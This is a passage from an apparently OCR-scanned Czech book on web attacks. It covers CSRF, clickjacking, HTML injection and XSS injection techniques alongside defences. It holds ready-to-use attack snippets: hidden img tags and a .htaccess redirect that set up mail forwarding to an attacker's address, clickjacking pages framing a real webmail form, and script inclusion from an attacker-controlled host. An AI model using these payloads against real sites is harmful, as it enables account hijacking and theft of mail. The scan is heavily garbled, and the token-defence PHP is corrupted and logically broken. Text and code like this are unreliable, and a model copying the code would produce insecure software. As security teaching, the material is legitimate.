proménnych nepfenasime ito¢né skripty, ale hodnoty, které si pfejeme, aby
uzivatel na server odeslal a tim provedl patfi¢né ¢innosti.

Neékteré novejsi verze webovych prohlize¢d maji zabudovany
bezpecnostni mechanismy, které zabranuji spusténi skripti v rdmech, nebo
z nich nedovoli odesilat pozadavky. Nedivte se proto, pokud vam ndhodou
nebude vyse popsany zpisob fungovat.

Dalsim castym cilem CSRF tutokl se stavaji internetové ankety.
K jejich zmanipulovani totiz Casto staci, kdyz Gito¢nik umisti na svém, nebo
jim zkompromitovaném webovém serveru skryty iframe, ktery odesila
pozadavek na pfidani hlasu nékteré volbé z ankety pii kazdém nacteni
webové stranky. V Soucasné dobé jsou ankety proti vicenasobnému
hlasovani chranény hlavné kontrolou IP adresy nebo zaznamem v souboru
cookie. Proti CSRF utokim vsak tyto kontroly Sance nemaji. Vzhledem
k tomu, Ze jsou pozadavky vyvolané utokem CSRF odesilany webovymi
prohliZze¢i jednotlivych uzivatelt, pfichazi hlas pokazdé z jiné IP adresy.
Konkrétnim pifikladem nam budiz jedna z udalosti, ktera se skuteéné stala.

Kiistalova Lupa’. I zde stagilo umistit na primémé navitévovaném

! http://www.soom.cz/index.php?name=articles/show&aid=506
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webovém serveru SOOM.cz skryty ram, ktery potaji odesilal pozadavky na
pficteni hlast, aby tato anketa byla zdiskreditovana a zminény web se dostal
na predni pozici.

Ve chvili, kdy jsou proménné pozadavku odesilané metodou GET,
mutize utoénik k jejich odeslani vyuzit kromé& prvku iframe také nékterych
dalsich HTML tagii, které umoziuji nacteni obsahu z externiho souboru.
Seznam nekolika takovych prvki uvadim v tabulce 6.

Tabulka 6 - nékteré HTML tagy podporujici nacteni externiho souboru

<img src = ""> <embed src = "">
<iframe src = ""> <applet code = "">
<script src = ""> <object data = "">
<bgsound src = ""> <link href = "">
<base href= ""> <style src = "">

Pokud by bylo mozné zfidit pfesmérovani dorucenych e-mailt ve
webmailu metodou GET a webmail by umozioval prohlizet zpravy ve
formatu HTML, pak by nebylo nic jednodussiho, nez do téla zpravy umistit
obrazek. Nejednalo by se ov§em o obrazek skute¢ny. Pouze bychom pouzili
tagu img, tak jak uvadi vypis 36. Tento prvek by vyvolal odeslani poZzadavku
na pfesmérovani doruéené posty okamzité, jakmile by uzivateliv prohlized
nacetl obsah zpravy. Nebyla by tak nutnd Zzadnd spolutcast uzivatele
spocivajici v kliknuti na zaslany odkaz a dokonce by nedoslo ani k zobrazeni
odpovédi o provedeném piesmérovani. Pouze by se ve zpravé zobrazila mala
chybova ikona, kterou by navic bylo mozné skryt pomoci stylu.

Vypis 36 - Odeslani poZadavku prostrednictvim atributu src HTML tagu img

<img src="http://www.webmail.cz?presmer=roman@hack.cz" width="0" height="0">

Aplikace mohou nékdy pii vkladani obrazku kontrolovat, zda
odkaz na obrazek sméfuje skutecné na soubor s pfiponou grafickych
formatd, nebo odstrani z téchto odkazi vSechny vlozené parametry. Obejit
takovy filtr neni ale asto Zadny problém. Mizeme vyuzit tagu img stejnym
zpusobem jako v pfedchozim vypisu. Zdroj obrazku ovSem zvolime tak, aby
se odkazoval na nas vlastni web viz. vypis 37.

Vypis 37 - Zdroj obrazku, ktery projde skrz kontrolni filtry

<img src="http://www.hackingvpraxi.cz/obrazek.jpg" width="0" height="0">




84 Cross-Site Scripting v praxi

Pokud na sviij web vlozime také soubor .htaccess z vypisu 38,
zajistime tim pfesmérovani s kodem 302. Jeho vyuzitim mlizeme nastavit
novy zdroj obrazku véetné parametrti v odkazu. Nacteni HTML zpravy ve
webmailu, kterd v sobé obsahuje kod z vypisu 37, vyvola po pfesmérovani
novy pozadavek, ktery bude mit stejny ucinek, jako kdybychom pouzili kod
z vypisu 36. Tedy ten, Ze dojde k nastaveni pfeposilani pfichozi posty.

Vypis 38 - Soubor .htaccess s presmérovanim

RewriteEngine on
RewriteRule obrazek\.jpg http://www.webmail.cz?presmer=roman@hack.cz [R=302]

V souvislosti s CSRF stoji za zminku jesté skutenost, Ze uto¢nici
nemohou za normalnich okolnosti ziskat p¥istup k aplikacim, které bézi za
NATem, tedy v internich sitich. Stejné tak nemohou ziskat pfistup tam, kde
je vstup povolen pouze z uréitych IP adres. V téchto piipadech je ovSem
mozné tato opatfeni obejit pravé pomoci ttoku CSRF. Stadi totiz odeslat
uzivateli odkaz, ktery smétuje na cil ve vnitini siti. Uzivatel se jiz sdm svym
kliknutim postara o odeslani patii¢ného pozadavku lokalni aplikaci.

Obrana proti CSRF

Na ptedchozich strankach jste se mohli piesveédcit o tom, ze Gtoky
Cross-Site Request Forgery jsou znacné nebezpetné a moznosti jejich
vyuziti pomérné Siroké. Zbyva si fici par slov o tom, jak se proti témto
utokiim mohou vyvojaii webovych aplikaci branit.

Prvni variantou obrany je kontrola hodnoty ptedavané v HTTP
request hlavicce referer. Tato hlavicka v sob€ obsahuje udaj o URI webové
stranky, ze které byl pozadavek odeslan. Odesleme-li napiiklad z webové
stranky vstupni formulaf, dochdzi kromé pfedani vyplnénych dat také
k predani této hlavicky. Ta ve své hodnoté obsahuje URI webové stranky, na
které se formuldf nachazi. Webovy server tak mtize velice jednoduse
zkontrolovat, zda pfichozi data skute¢né pochazi z legitimniho formulafe,
nebo zda pochazi z n&jaké jiné podvrzené stranky.

V minulosti se vyskytlo par bugii ve webovych prohlizeéich, které
umoziovaly HTTP hlavicku referer spoofovat. Chyby vyuzivaly napiiklad
objektu XMLHttpRequest* nebo jiny kod JavaScriptu?. Tyto problémy ale
byly vzdy brzy opraveny a mohlo by se zdat, ze kontrola HTTP hlavicky

! http://www.cgisecurity.com/lib/XmIHTTPRequest.shtml
2 http://pseudo-flaw.net/content/web-browsers/firefox-referer-spoofing
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referer u ptichozich pozadavki je jednoduchou a u¢innou obranou pied
utoky typu CSRF.

Bohuzel ma ale tato metoda obrany jeden ne zrovna drobny
nedostatek. HTTP hlavicka referer totiz neobsahuje pouze samotnou URL
adresu webové stranky, ale i hodnoty vSech proménnych, které toto URI
obsahuje. Pokud je tedy v nékterych webovych aplikacich pfedavan
metodou GET identifikator session nebo jiné divérné udaje, mize snadno
dojit k jejich zachyceni nebo tniku mimo webovou aplikaci a tato hlavicka
tak pfedstavuje potencialni bezpecnostni riziko. Z tohoto divodu néktefi
uzivatelé odesilani refereru zakazuji ve webovém prohlizec¢i, nebo
vV osobnim firewallu. Stejné tak mohou tuto hlavicku vypoustét i rlzné
hrani¢ni prvky na lokalnich sitich, apd.

Jak se pak ma zachovat webova aplikace, ktera HTTP hlavicku
referer v pozadavku nenalezne? Pokud tento poZzadavek aplikace zamitne
jako mozny pokus o CSRF utok, pak diky vy$e zminénym ochrandm zabrani
uréitému procentu uzivatelli v pfistupu. V opaéném piipadé, kdyz aplikace
pozadavky bez této hlavicky pfijme jako legitimni, vystavuje se nadale
CSRF utoktim, stejné jako by zddna obrana implementovéana nebyla. Je tomu
tak proto, Ze to¢nici maji k dispozici hned nékolik metod, jak zajistit, aby
webovy browser uzivatelll béhem CSRF utoku tuto hlavi¢ku neodeslal.

Specifikace HTTP napiiklad tika, Ze webovy prohlize¢ nesmi
hlavicku referer odeslat v prfipadech, kdy pozadavek sméfuje ze
zabezpecené webové stranky HTTPS: na stranku nezabezpedenou HTTP:.
Podobné nedochazi k odeslani refereru ani v piipadech, kdy je webova
stranka naétena protokoly FTP:, FILE:, DATA:, apd. Uto&nikovi tedy stadi
naldkat svou obét’ na webovou stranku nactenou pres HTTPS:, ktera odesle
CSRF pozadavek do aplikace bézici na HTTP:. Jak jsme si tekli vyse,
nedojde v tomto ptipadé k odeslani refereru a pokud aplikace pozadavek
pfijme, pak bude utok Gspésny.

Novéjsi verze prohlize¢t (FF3.5, IE8, Chrome7, Safary4
a Operall.l) zavadi u nékterych typt pozadavka nové také HTTP hlavicku
Origin. Ta podobné jako referer obsahuje adresu stranky, ktera pozadavek
vyvolala. Na rozdil od refereru ovSem neobsahuje zaddné proménné
a nepiedstavuje tak potencialni riziko.

Nejucinngjsi  zptisob ochany proti tutokim CSRF ovSem
predstavuje pouziti tokent. Jde o jedinecné, Casové omezené tickety, které
aplikace vygeneruje spolecn¢ s formulafem. Hodnotu tokenu si aplikace
ulozi do databaze s pfifazenim uzivatele, kterému byl token piedan
a s ¢innosti, pro kterou byl ticket vystaven. Tento jedineény token je pak
predan uzivateli spole¢né s formulafem, naptiklad v podobé skrytého pole.
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Ve chvili, kdy uzivatel formulaf vyplni a odeSle na server, zjisti aplikace
v databazi, zda danému uZivateli tento token pro konkrétni akci vystavila
a na zékladé toho rozhodne o opravnénosti pozadavku. Vyhoda této metody
je vtom, Ze utoénik nema nejmensi Sanci dopiedu zjistit (nebo si nechat
vygenerovat) aktualné platny token a nemize tak pfipravit toény odkaz
nebo samoodesilaci formular.

Ve vypise 39 uvadim jeden ze zplsobd, kterym je mozné
formulafe pomoci tokend ochranit. Uvedeny skript pfitom piedpoklada
existenci databaze, do které si uklada zaznamy o vystavenych tokenech.

Vypis 39 - Reseni obrany proti CSRF pomoci tokenti

base.php
<?php
function new_token ($user, $idaction) {
do {
Stoken=mysql real escape string(substr (md5(unigid(mt_rand(),true)),5,6));
$result = mysql query("SELECT * FROM tokens WHERE value = '$token'");

if (mysql_fetch_array($result)) {
Sused = true;
} else {
Sused = false;
}
} while (Sused);
mysql_query ("INSERT INTO tokens (token, iduser, idaction) VALUES ('Stoken',
$iduser, S$idaction)");
return $token;
}
function over token(Stoken, $idaction) {
$token=mysql real escape string($token);
$sql="SELECT * FROM tokens WHERE token='Stoken' AND user=$iduser AND
idaction=$idaction";
$result = mysql query($sql);
if (mysql_fetch_array($result)) {return true;} else {return false;}
}
function smaz_token ($token) {
$sql="DELETE FROM tokens WHERE tokens=$token";
$result = mysql query($sql);
}

2>
form.php
<?php
require "base.php";
Sdata = $_POST["data"]; $token = $ POST["token"];
if ($data && Stoken) {
if (over_ token ($token, S$akce)) {

smaz_token (Stoken) ;
echo "Data pf¥ijata.";
}
echo "Data odmitnuta";
}
2>
<html><head></head><body>
<form method="post">
<input type="text" name="data">
<input type="hidden" name="token" value="<?php echo new_token(1l); ?2>">
<input type="submit" value="Odesli">
</form>
</body></html>
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Clickjacking

Ackoliv clickjacking nema s XSS jiz témé&f nic spole¢ného, kromé
toho, Ze se také jedna o typ Gitoku zaméfeny na koncové uzivatele, presto zde
tuto zranitelnost webovych aplikaci zminim. Jednim z dtivodd, pro¢ jsem se
tak rozhodl, je skutecnost, ze clickjacking Gizce navazuje na zranitelnost typu
CSRF. Druhym divodem k tomuto rozhodnuti bylo, ze az budeme pozd¢ji
Vv této knize probirat injektdZe in-line skriptl, mize nam clickjacking dobie
poslouZit pro nalakani uzivatelti k vyvolani ur¢itych udalosti.

Zacnu tim, Ze navazu na pfredchozi uvedenou zranitelnost typu
Cross-Site Request Forgery. U této zranitelnosti jsme si uvedli pomérné dost
informaci o moznostech, kterymi je mozné webové aplikace pred jejim
zneuzitim ochranit. Pokud tedy aplikace neumozni pfijem nékterych
pozadavki, které pfichazi z nelegitimnich mist, pak nezbyva, nez pfinutit
uzivatele k odeslani legitimnich pozadavkt pfimo ze samotné aplikace.

Zustaneme u piikladu s presmérovanim pftichozich zprav ve
webmailu spolecnosti Seznam.cz. Tato spole¢nost po ohlaseni zranitelnosti
CSRF doplnila formuldf poskytujici pfesmerovani zprav o bezpecnostni
token, kterym zabranila zneuZivani této zranitelnosti. Utoénik, ktery by cht&l
skrz tento formulai nastavit u jiného uzivatele pfesmérovani zprav, by po
této napravé musel uzivateli fici:

"Otevii si webovou stranku http://email.seznam.cz/listFiltersScreen. Do
pole pro zaddni e-mailové adresy zadej roman@hackingvpraxi.cz
a formular odesli. Dékuji."

Pfijde vam uvedeny postup Usmévny? Presné o tomto ovSem
clickjacking je. Jediny, ale podstatny rozdil spocivd v tom, Ze uzivatel
netu$i, co zrovna de¢la. Pfirovnal bych to k situaci, kdy uto¢nik nejprve
uzivateli zavaze o¢i Satkem. Technika zvana clickjacking namisto tohoto
satku vyuziva ramy. Utognik vytvoii webovou stranku, na kterou umisti ram
obsahujici cilovy formulaf. V pfipadé s presmérovanim by tento ram byl
definovan kodem z vypisu 40.

Vypis 40 - Koéd vkladajici iframe se strankou pro preposilani zprav

<iframe src="http://email.seznam.cz/listFiltersScreen" width="100%" height="100%">
</iframe>

Dale by uto¢nik umistil na stranku dalsi ramy, které by prekryly
vSechny plochy prvniho ramu tak, aby =zustalo viditelné pouze
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formulafového pole pro zadani e-mailové adresy a tlacitko pro odeslani
formulafe. Vyslednou stranku nakonec opatii napiiklad textem:

"Ochrana pred boty. Opiste do pole text roman@hackingvpraxi.cz."

Zdrojovy kod takto pfipravené stranky by mohl vypadat podobné
jako ten z vypisu 41. Pokud by uzivatel, ktery je pfihlasen k cilové aplikaci
(v tomto piipadé k Seznam.cz), nebo v ni ma nastaveno trvalé piihlaseni,
navstivil takto pfipravenou webovou stranku a podle pokyntl opsal a odeslal
uvedeny text, nevédomky by si tim aktivoval pfesmérovani ptichozich zprav
utocnikovi. Uz vidite tu vySe popsanou analogii s $atkem?

[T ———

Protispamovi
ochrana

Screenshot zobrazujici cilovou
stranku se zranitelnym
Sformuldrem

Screenshot  zachycujici  ram
S cilovou strankou, ktery je pro
ilustraci  postupné  prekryt
néekolika poloprithlednymi ramy

Screenshot zobrazujici vysledek
nasi prace. Z cilové stranky
zustalo viditelné pouze pole pro
zaddani  e-mailové  adresy
a tlacitko




s s

Uvod do XSS a souvisejicich zranitelnosti 89

Vypis 41 - Kéd utocné stranky pro oklamani uZivatelti metodou clickjacking

<html><head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title>Ukézka clickjackingu</title>
</head>
<body>
<style> * {margin:0; padding:0} </style>
<iframe src="http://email.seznam.cz/listFiltersScreen"
style="position: absolute; width: 100%; height: 267px;" scrolling="no">
</iframe>
<iframe src="top.html"
style="position: absolute; top: Opx; left: 334px;
width: 204px; height: 185px; border: medium none;" scrolling="no">
</iframe>
<iframe src="none.html"
style="position: absolute; top: Opx; left: Opx;
width: 334px; height: 300px; border: medium none;" scrolling="no">
</iframe>
<iframe src="none.html"
style="position: absolute; top: Opx; left: 538px;
width: 2000px; height: 300px; border: medium none;" scrolling="no">
</iframe>
<iframe src="none.html"
style="position: absolute; top: 207px; left: 334px;
width: 113px; height: 40px; border: medium none;" scrolling="no">
</iframe>
<iframe src="none.html"
style="position: absolute; top: 207px; left: 446px;
width: 93px; height: 90px; border: medium none;" scrolling="no">
</iframe>
</body></html>

Druhé varianta pouziti clickjackingu, kterd umozni obejit ochranu
formuldid pted zranitelnosti CSRF, spociva v piinuceni uZivatele
k nevédomému opsani kontrolniho tokenu. Stejné, jako jsme v pfedchozim
piiklad¢ vkladali do ramu a nasledné piekryvali stranku s formulafem,
muiZzeme v prohlize¢ich Firefox a Google Chrome vyuZit také direktivu
view-source:. Ta ndim umozni nacist do rAmu zdrojovy kod cilové webové
stranky, ve kterém zakryjeme vSechny ¢asti, kromé kontrolniho tokenu. Ten
nechame uzivatele opsat jako captchu do ptipraveného formulafe a jinak
spolehlivou ochranu pfed CSRF tim obejdeme. Kdd pro nacteni zdrojového
kédu do ramu by mohl vypadat tak, jak ukazuje vypis 42.
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Vypis 42 - Kéd vkladajici iframe se zdrojovym kédem stranky

<iframe src="view-source:http://www.seznam.cz" width="100%" height="100%">
</iframe>

Pii clickjackingu nejsme odkézani pouze na piekryvani
jednotlivych ramd. Vyuzit mizeme také CSS vlastnost opacity, ktera
umoziuje jednotlivym prvkim na webové strance nastavit pruhlednost.
Toho se da Sikovné vyuzit k vytvofeni webové stranky s prvkem, na ktery
bude chtit uzivatel uréité kliknout, napiiklad tlacitko "vstoupit”. Pfes tuto
stranku nasledné¢ umistime prihledny ram s cilovou strankou, na které
chceme zneuzit uzivatelovo kliknuti. NaSe tlacitko "vstoupit" pfitom
umistime na takové misto, aby se piekryvalo s cilovym prvkem cizi webové
stranky. Tim docilime toho, Ze uzivatel klikne v cilové aplikaci pfesné na
misto, které jsme potfebovali, a na které by jinak nikdy nekliknul. Maze se
jednat naptiklad o zaskrtnuti volby “zrus vsechna bezpecnostni opatieni' ve
webové aplikaci. Clickjacking se mimochodem dostal do §irokého
povédomi, pii podobném utoku, kdy demonstroval jeho vyuziti pro
nastaveni Flash Playeru. UZivatel si tak béhem nevinného klikani na webové
strance zapnul webkameru a povolil k ni ptistup Gto¢nikovi.

Vypis 43 ukazuje kod Gtoéné stranky, ktera piekryva svij obsah
prihlednym ramem s cilovou aplikaci.

Vypis 43 - Kéd utocné stranky s prihlednym ramem

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title></title>
</head>
<body>
<style>
* {margin:0; padding:0}
#1 {position:absolute; width:100%; height:500px; border:none;
filter alpha (opacity=0); -moz-opacity:0; opacity:0}
</style>
<iframe id="i" src="http://www.aplikace.cz/securityoptions"></iframe>
<hl align="center">Vstup majil povolen pouze navsitévnici nad 18 let.</hl>
<input type="button" value="Vsoupit!"
style="position:absolute; left:770px; top:202px; z-index:-1">
</body>
</html>

Ve spojitosti s XSS mizeme technik clickjackingu vhodné vyuzit
naptiklad k naldkani uZzivatele na prvek, kterému se podafilo injektovat
ovlada¢ udalosti, naptiklad onClick, nebo onMouseOver. Pieci jen uZzivatel
rad&ji klikne na tlacitko "vstoupit" nez na jeden konkrétni z mnoha prvki
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webové stranky. A aby toho nebylo malo, je mozné vytvofit také dynamicky
iframe o0 rozmérech 1x1 pixel, ktery umistime ptimo pod kurzor mysi
a kterym budeme kopirovat pozici kurzoru. Pak nam je naprosto jedno, na
kterém misté pfipravené webové stranky uzivatel klikne, protoze vzdy
klikne pfimo do tohoto ramu.

Obrana proti clickjackingu

Obrana proti clickjackingu je pomérné jednoduchou zaleZitosti.
Kdyz si uvédomime, ze vSechny tyto Utoky vyzaduji nacteni cilové stranky
do ramu, zjistime, ze staci né¢jakym zptisobem toto nacteni do ramu zakazat.

Nejstar§i metodou, kterd se k této blokaci pouziva, spoéiva ve
vyuziti kratkého kédu JavaScriptu. Ten se vklada do kazdé webové stranky
aplikace, kde kontroluje, zda je stranka na vrcholu hierarchie DOM
a v pripadé, Ze tomu tak neni, dojde k pfepsani vlastnosti location. Tim se
stranka, pokud je nadtena v rdmu, vymani z tohoto umisténi a stane se
kofenovym dokumentem. Kod, ktery tuto kontrolu poskytuje, existuje
Vv mnoha variantach. Ja ve vypise 44 uvadim jeden z nich.

Vypis 44 - Kéd JavaScriptu pro ochranu pred clickjackingem

if (top.location != location)
top.location = self.location;

Vyhodou tohoto feSeni je Sirokd podpora ze strany vSech
prohlizecii s podporou JavaScriptu. Nevyhodou je ovSem jeho nefunkénost
pii zakdzaném JavaScriptu nebo v piipadé nacitani zdrojového koédu do
ramu pomoci direktivy view-source:, kde tato metoda ztraci svou funkénost.

Dalsi moznosti je pouziti HTTP hlavicky X-FRAME-OPTIONS,
ktera byla zavedena pravé jako reakce na rozSifujici se zneuzivani
clickjackingu. Prohlizece, které tuto HTTP hlavicku podporuji uvadim
v tabulce 20.

Tabulka 20 - Podpora X-FRAME-OPTIONS ze strany webovych prohlize¢u

Internet Explorer 8 +
Firefox 3.6.9 +

Opera 10.50 +

Safari 4 +

Chrome 4.1.249.1042 +




92 Cross-Site Scripting v praxi

HTTP hlavicku X-FRAME-OPTIONS je mozné pouzit s nékterym
z upfesiujicich nastaveni, které uvadim v tabulce 21.

Tabulka 21 - Nejpouzivanéjsi MIME typy

DENY Zakaz jakéhokoliv nac¢iténi strénky do ramu
SAMEORIGIN Stranku mohou nacditat do ramu pouze stranky stejné domény
ALLOW-FROM UmoZiiuje definovat povolené zdroje

Ve vypisu 45 si jes$t€ muizete prohlédnout nékteré z moznosti,
kterymi je mozné zajistit odeslani hlavicky X-FRAME-OPTIONS.

Vypis 45 - Odesléni hlavicky X-FRAME-OPTIONS

PHP

<?php header ("X-Frame-Options: SAMEORIGIN"); ?>
.htaccess

Header append X-FRAME-OPTIONS "DENY"

Httpd.conf

Header always append X-Frame-Options SAMEORIGIN

Posledni variantou, kterou na tomto misté jako ochranu pted
clickjackingem v kratkosti zminim, je bezpe€nostni politika Content Security
Policy a jeji direktiva FRAME-ANCESTORS. Tato bezpeénostni politika
umoziiuje pomoci HTTP hlavicky definovat zdroje, které mohou danou
stranku nacitat do ramu. Bohuzel je tato politika v soucasné chvili
podporovana pouze prohlize¢em Firefox od jeho ¢tvrté verze. Blize se
0 tomto zpusobu obrany doctete v ¢asti vénované obrané, kde je této politice
vénovana samostatna kapitola.




Uvod do XSS a souvisejicich zranitelnosti 93

HTML injection

S HTML injection jsme se jiz na jedné z predchozich stranek
setkaly. Pfi zneuziti této zranitelnosti se nejedna o vkladani skripti do
zranitelnych aplikaci, ale o vkladani jiného obsahu v podobé HTML. Muze
se totiz stat, ze si vyvojaii dobfe ohlidaji a zakazou vkladani nebezpecnych
skriptti. Nicméné na filtraci ostatnich relativné bezpecnych HTML tagt jaksi
pozapomenou. Nejlépe lze tyto zranitelnosti zneuZit na zpravodajskych
serverech, kam je mozné skrz tuto zranitelnost propaovat mystifikujici
¢lanky a kde tim padem muize mit jeji zneuziti pro uto¢nika nejvetsi vyznam.
Zméné zobrazeného obsahu se také fika Content Spoofing.

Postup pfi injekci HTML obsahu do webovych stranek je naprosto
shodny s postupy, které jsme uvadéli u vkladani skriptd. Namisto tagi
<script> ale vkladame jiné b&zné HTML tagy s texty nebo obrazky, které si
pfejeme na cilovy server propaSovat. Muze jit o prvky <p>, <div>, <img>,
<iframe> a jiné.

Z konkrétnich skute¢nych piipadi zneuZiti této zranitelnosti
zminim napiiklad chybu, jez se vyskytovala na webu televize Nova®. Ta se
nachazela v neoSetteném vystupu vyhledavaciho formulate, ktery
umoziioval mimo jiné také injektaz skripti. Zranitelnost byla ovsem
zneuzita ke vlozeni plovouciho ramu s aprilovou reportazi serveru
SOOM.cz.

! http://www.crypto-world.info/casop11/crypto04_09.pdf
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Kapitola 4

Pokrocilé metody
Injektaze skriptu

Nyni, kdyz uz mate zakladni pfedstavu 0 zranitelnosti XSS
a 0 nékterych dalSich souvisejicich zranitelnostech webovych aplikaci,
zaméfime se na pokroéilej$i metody injektaze naSich skripti do obsahu
HTML stranek. Jiz brzy zjistite, ze piimé vloZeni uzivatelského vstupu do
zobrazovaného textu neni jedinou moznosti, kterou Ize skripty do obsahu
HTML propasovat. Diive, nez se vSak zamétime na konkrétni cesty pro
injektaz skriptd, povime si je$té par slov 0 jinych podobéach injektaze
JavaScriptu, nez byly pfimo vkladané kody mezi znacky <script>.

Skripty v externich souborech

Dokud jsme testovali své vstupy pouze pomoci testovaciho fetézce
<script>alert(/XSS/);</script>, jeho délka nam pfili§ nevadila. Takovyto
fetézec se celkem bez problému da vlozit do parametru URL a vétSinou se
vejde také do vstupnich poli formulaid. Pokud vsak budeme chtit testovat
i néjaké sofistikovanéjsi utoky, rozroste se kod naseho skriptu na desitky az
a jen tézko bychom jej mohli vkladat do URL. Vstupni pole formuléid navic
také Casto omezuji vstup pouze na uritou velikost. Co délat v takovém
piipadé? Pokud si vzpomenete na tvodni kapitolu vénovanou JavaScriptu
a metodam, pomoci kterych je mozné vkladat jeho kod do obsahu stranek,
jisté si vybavite, Ze jsem zmiftoval moznost umisténi kodu v externich
souborech. Z nich jsme skripty nagitali a vladali do stranek pomoci atributu
src tagu <script>. Stejné se miZzeme zachovat také v ptipadé, kdy vkladame
kod skrz misto zranitelné na XSS.

Nas jednoduchy testovaci skript by mél v piipadé uloZeni do
externiho souboru podobu z vypisu 46. V§imnéte si, ze externi skript neni
vlozen do znaek <script> a </script>. Skript jsem navic upravil tak, aby
k jeho spusténi doslo az po naéteni celé webové stranky.

Vypis 46 - Skript umistény v externim souboru

window.onload=function () {alert('XSS');}
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Je pravidlem, ze souboru s externim kdédem JavaScriptu davame
ptiponu .js, nicméné neni to fakticky vyzadovano. Pokud bychom z n&jakého
divodu chtéli pouzit pfiponu jinou, nic ndm v tom vétSinou nebrani. Je
pouze potreba zajistit spravny typ v HTTP hlavicce content-type. Nékteré
prohlizece totiz k bezproblémovému spusténi kodu vyzaduji MIME typ
text/javascript. Nékdy se muze hodit napiiklad pouziti ptipony grafickych
formatti jako .jpg, coz mize vést k oklamani uzivatele, pfipadé n&kterych
filtrd. My si soubor s uvedenym kdédem ulozime pod nazvem xss.js a do
HTML koédu stranky jej vlozime nasledujicim zplisobem:

Vypis 47 - VloZeni skriptu umisténého v externim souboru

<script src="http://www.hackingvpraxi.cz/xss.js"></script>

Na prvni pohled je patrné, ze vkladani delSich skriptd timto
zpusobem je daleko elegantnéjsi a nepdsobi pfili$ napadné. Navic je mozné
si pfipravit univerzalni utoény soubor (knihovnu funkci), na ktery se
muizeme béhem testovani odkazovat z riznych mist.

In-line skripty

Az do této chvile jsme vSechny ukazkové XSS skripty injektovali
do stranek pouze jako piimo vlozené. To znamend, Ze jsme je umistovali
mezi tagy <script> a </script>. Takto vlozené skripty byly pak vzdy
vykonany okamzit¢ po jejich nacteni. Dalsi variantou vkladani kodu do
obsahu HTML stranek, kterou jsem zminil v uvodni kapitole o JavaScriptu,
je pouziti in-line skriptil, které slouzi jako ovladace udalosti. Ty se vkladaji
jako hodnota atributi nékterych HTML tagi a jejich spusténi je pak obvykle
vyvolano vyskytem dané udalosti.

Nékdy se stfetneme s webovou aplikaci, ktera filtruje uzivatelsky
vstup a zneSkodiiuje v ném HTML tagy <script>. Pfipadné s aplikaci, ktera
povoluje vloZeni n&kterych tagl, o nichz se domniva, Ze jsou bezpetné,
napiiklad tag <img> pro zobrazeni obrazku. Pokud tvurce takové aplikace
nepomyslel aneoSettil kontrolu vkladanych atributd, je pak mozné ke
vkladanym prvkam, pfidat také kod v podobé ovladace udalosti.

Cilem XSS utoku se tak mohou stat napiiklad webové diskuze, ve
kterych je povoleno vkladani nékterych tagii nebo webmaily a jiné aplikace
pro posilani zprav zobrazujici dorucené zpravy ve formatu HTML. Ke
zdarnému utoku staci vlozit koéd podobny tomu z nasledujiciho vypisu do
svého vzkazu ¢i zpravy.

Vypis 48 - Spusténi skriptu po udélosti onLoad

<img src="http://www.hackingvpraxi.cz/image.jpg" onLoad="alert (/XSS/) ;">
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Vyuzili jsme udélost load obrazku, a proto dojde po jeho nacteni
ke spusténi skriptu umisténého v atributu onLoad. Stejné tak jsme ale mohli
pouzit napiiklad atribut onError, jehoZ obsah by byl vykonan v ptipadg, Ze
by nebylo mozné obsah obrazku nalist. Seznam ostatnich atributd pro
obsluhu udalosti jsme si jiz uvedli v tabulkach 1 a 2.

Na tomto misté se zminim je$té o pouZiti time2 Behavior, které je
dostupné pouze pod Internet Explorerem, a které neni pfili§ znamé.
K udélosti end, jejiz obsluhu definujeme v atributu onEnd, dojde po uplynuti
¢asu definovaného vlastnosti dur. Atributy spojené s time2 Behavior je
mozné vlozit k velkému mnozstvi tagi, z nichz vétSina se zda byt bezpecna
a proto byvaji ve webovych aplikacich povoleny. Pro uto¢nika je time2
Behavior vyhodné z toho divodu, Zze umoZiiuje snadné nacasovani pro
spusténi jeho skriptu. Jeho odloZzenim 0 nékolik sekund totiz miize sviij Gtok
v nékterych pfipadech dobfe zamaskovat. Vice o této a dalSich metodach
zamaskovani si ovSem povime az v kapitole vénované skryvani utoku. Ve
vypisu 49 si miiZete prohlédnout pouziti time2 Behavior u HTML tagu <p>.

Vypis 49 - PouZiti time2 Behavior

<p style="behavior:url ('#default#time2')" onEnd="alert (/XSS/);" dur="0"></p>

Vyse uvedena varianta vkladani HTML tagl v¢etn¢ jejich atributh
pro ovladace udélosti je ovSem pouzitelnd pouze tam, kde nam to aplikace
umozni. Mnohem castéji se stfetneme s injektovanim in-line skriptt do jiz
existujicich prvkll obsazenych ve webové strance. Protoze jsme si ale do této
chvile nefekli nic o bypassech, které nam umoziuji vymanit se
z konkrétnich kontextl, nebudu zde zatim tuto variantu dopodrobna
rozebirat. O par stranek dél v kapitole vénované bypassingu se ale k in-line
skriptim vratim a podrobné si jednotlivé moznosti jejich injektaze
popiseme.

Z konkrétnich utokt, které se na ceském Internetu skutecné staly
a vyuzily ke svému zaméru in-line skripty, uvedu naptiklad hack znamého
informa¢niho portalu Zivé.cz. Ten provedl uzivatel vystupujici pod
pseudonymem Sysel v roce 2007 a nasledné sviij Gtok detailné popsal ve
svém ¢lanku®. Ke utoku pitom vyuzil atributu onError u tagu img, ktery
nasledné umistil do diskuzi pod ¢lanky.

Y http:/iwww.security-portal.cz/clanky/Zivécz-hacknuto-pomoci-xss
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Self-contained JavaScript

Direktivy javascript: a VBScript:

Zptusob spousténi naSich skriptd v podob€ bookmarklett
(s vyuzitim direktivy javascript:) jsme si jiz také popsali v uvodni kapitole.
Nyni se pokusim bliZze objasnit nékteré detaily afekneme si také, jak této
a podobnych direktiv vyuzit béhem XSS utoku.

U self-contained skripti se nemusime omezovat pouze na
direktivu javascript:, ktera je ale rozhodné nejznaméjsi. Vedle ni existuji
také direktivy VBScript: nebo data:, které mlzeme vyuzit se stejnym
uspéchem. VBScript: je pfitom dostupny pouze u Internet Exploreru a data:
zase mizeme vyuZzit u nékolika riznych prohlize¢i véetné téch od Mozilly
mimo IE. Protoze se budu direktivé data: vénovat pozdé&ji a pravidla, ktera si
uvedeme pro direktivu javascript:, jsou vesmés platna také pro direktivu
VBScript:, zamé&fim se v nasledujicim textu vyhradné na javascript:.

Mnoho vyvojaift webovych aplikaci, kteti se s XSS jiz setkali,
chrani své aplikace pied vkladanim nebezpeénych znakid, jakymi jsou
napiiklad ostré zavorky, nebo pied atributy pro obsluhu udélosti. Mén¢
znich si ovSem uvédomuje, Ze je mozné spoustét skripty také
prostiednictvim uvedenych direktiv.

